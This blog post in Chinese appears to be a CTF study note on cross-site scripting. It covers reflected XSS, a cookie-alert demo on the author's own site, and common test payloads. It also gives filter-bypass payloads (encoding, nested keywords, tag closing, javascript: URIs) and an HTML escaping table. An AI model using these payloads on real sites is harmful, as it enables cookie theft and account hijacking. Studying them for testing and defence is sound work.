Lolik

not404

nothing
x
bilibili
github
telegram

ctf-XSS

XSS#

  1. 什麼是 xss?
    跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為 XSS。惡意攻擊者往 WEB 頁面裡插入惡意 HTML 代碼,當用戶瀏覽該頁之時,嵌入其中 Web 裡面的 HTML 代碼會被執行,從而達到惡意攻擊用戶的特殊目的。

  2. xss 的危害
    通過 document.cookie 盜取 cookie 中的信息
    使用 js 或 css 破壞頁面正常的結構與樣式
    流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)等

xss 攻擊#

反射型:

  • 攻擊者提前構造一個惡意鏈接,來誘使客戶點擊,比如這樣的一段鏈接:url+?params=<script>alert("xss攻擊")</script>
  • 發生在與用戶交互的地方,比如輸入框
  • 嘗試,網址:http://dm.unrun.top/classkey.php?page=1&classkey=

classkey 參數接受一個參數

搜索框輸入 <script>alert("xss攻擊")</script> 提交

vboT1

js 代碼被執行,classkey.php 沒有對用戶輸入作處理,直接輸出,這就是 xss 反射型漏洞,實施攻擊,比如盜取用戶的 cookie

js 獲取 cookie 代碼:alert (document. cookie

然後輸入<script>alert (document. cookie)</script>
彈框顯示,盜取 cookie,dm.unrun.top網站我沒有設置 cookie 所以是空的

這樣甚至可以寫 js 向 HK 提前準備好的網站發送信息

相關示例

XSS 常用的測試語句#

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

當字符被過濾時#

過濾空格用 / 代替空格

<img/src="x"/onerror=alert("xss");>

使用中文句號代替英文逗號
輸入中文句號瀏覽器會自動轉化成英文的逗號

<img src="x" onerror="document.location=`http://www。baidu。com`">

使用 url 編碼URL 解碼編碼

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

用 // 可以代替 http://

<img src="x" onerror=document.location=`//www.baidu.com`>

字符拼接利用 eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

堆疊繞過#

script 被過濾時

伺服器替換這些關鍵詞為空

str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");

採用:scr {% hint'script' 'script 被替換為空 ' %} ipt,o {% hint 'on' 'on 被替換為空 ' %} n,s {% hint'src' 'src 被替換為空 ' %} rc 等方法

標籤閉合繞過#

瀏覽器查找與前一個未閉合標籤最近的匹配標籤,有兩個時後一個不會被解析

<input type="text" value='<script>alert("XSS")</script>'>

前面加上'>也就是'><script>alert("XSS")</script>

<input type="text" value=''><script>alert("XSS")</script>'>

伪協議繞過#

不能用事件觸發時用伪協議,javascript /data : 後面的代碼
<object data=javascript:alert(1)>

<a href="javascript:alert(`xss`);">xss</a>

這樣還有這樣

(alert)(1);	 alert(1);  alert`1`; 

url 解析過程#

瀏覽器對編碼解析的順序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析

  1. 瀏覽器接收到一個 HTML 文檔時,會觸發 HTML 解析器對 HTML 文檔進行詞法解析,這一過程完成 HTML 解碼 並創建 DOM 樹;
  2. 接下來 JavaScript 解析器會介入對內聯腳本進行解析,這一過程完成 JS 的解碼工作;
  3. 如果瀏覽器遇到需要 URL 的上下文環境,這時 URL 解析器也會介入完成 URL 的解碼工作。

URL 解析器的解碼順序會根據 URL 所在位置不同,導致在 JavaScript 解析器之前或之後解析

XSS 編碼問題#

  1. HTML 字符實體:
    在呈現 HTML 頁面時,針對某些特殊字符如 “<” 或”>” 直接使用,瀏覽器會誤以為它們標籤的開始或結束,若想正確的在 HTML 頁面呈現特殊字符就需要用到其對應的字符實體。HTML 字符實體以 & 開頭 + 預先定義的實體名稱,以分號結束,如 “<” 的實體名稱為 < 或以 & 開頭 +# 符號以及字符的十進制數字(或者 十六 進制,都能解析),如”<” 的實體編號為 <。
  2. JavaScript 編碼:最常用的如 “\uXXXX” 這種寫法為 Unicode 轉義序列,表示一個字符,其中 xxxx 表示一個 16 進制數字,如”<” Unicode 編碼為 “\u003c”。
  3. URL 編碼:% 加字符的 ASCII 編碼對於的 2 位 16 進制數字,如”/” 對應的 URL 編碼為 %2f。

常見的轉義符#

HTML 在線編碼轉換

為了 xss

字符轉義後的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

工具 HackBar#

HackBar 下載:https://github.com/HCTYMFF/hackbar2.1.3

HackBar 是一個瀏覽器上的一個插件,包含一些常用的工具,比如 SQL injection,XSS, 加密等

截圖

vKklU

位置:F12打開 tab 欄最右側

方便對 url 編碼轉換

右側三個按鈕:加載網址 -- 切分網址 -- 執行

post 提交,眾所周知 get 參數可以寫在地址欄,post 就需要借助工具了

相關資料#

XSS (跨站腳本攻擊) 詳解 --- 博客園

xss 常用標籤及繞過姿勢總結

xss 挖掘思路分享_強防禦下的 XSS 繞過思路 ---csdn

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。